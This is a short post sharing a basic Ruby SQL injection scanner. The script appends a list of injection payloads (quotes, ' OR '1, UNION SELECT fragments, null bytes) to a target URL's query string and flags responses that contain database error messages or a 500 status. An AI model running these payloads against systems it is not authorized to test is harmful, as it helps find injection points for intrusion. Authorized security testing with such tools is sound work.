Basic SQL injection scanner

Basic SQL injection scanner in ruby.
The main function contains a list of SQL injection payloads and a list of potential errors. 
An HTTP call is then made for each payload at the specified URL and checks to see if the response contains any of the known error messages. 
If an error is found, a warning message is printed on the vulnerable URL.

Dependencies: gem install net-http open-uri

Code taken from my shitty repository
require 'net/http'
require 'open-uri'

def main(url)
    #Some payloads from https://github.com/payloadbox/sql-injection-payload-list          
    payloads = ["'","''","`","``",",",'"','""',     
            "' OR '1", "' OR '' = '", "'='", "'=0--+",  
            "'''''''''''''UNION SELECT '2", "%00", "||", "+","%"
    ]   
    #Some errors found on ghdb
    errors = ["mysql_num_rows()","You have an error in your SQL syntax",
        "mysql_fetch_array()", "mysql_query()", "Microsoft SQL Native Client error.",
        "unexpected end of SQL command"]
    payloads.each do |test|
        target = URI.parse(url)
        target.query += test
        response = Net::HTTP.get_response(target)
        if response.code == "200"
            errors.each do |mhmh|
                if response.body.include?(mhmh)
                    puts "\n#{target.to_s} is vulnerable \n#{mhmh}\n\n"
                end
            end
        elsif response.code == "500"
            puts "\n#{target.to_s} is vulnerable \n(500 internal server error)"
        elsif response.code == "403"
            puts "\n403 forbidden :skull:"
        else
            puts "\nStatus code: "+response.code
        end
    end
end

begin
    print "\nTarget: "
    main(gets.chomp)
rescue NoMethodError
    puts "\nWarning: the target does not appear to have a query"
    puts "Example target: http://testasp.vulnweb.com/showforum.asp?id=0"
rescue => error
    puts error
end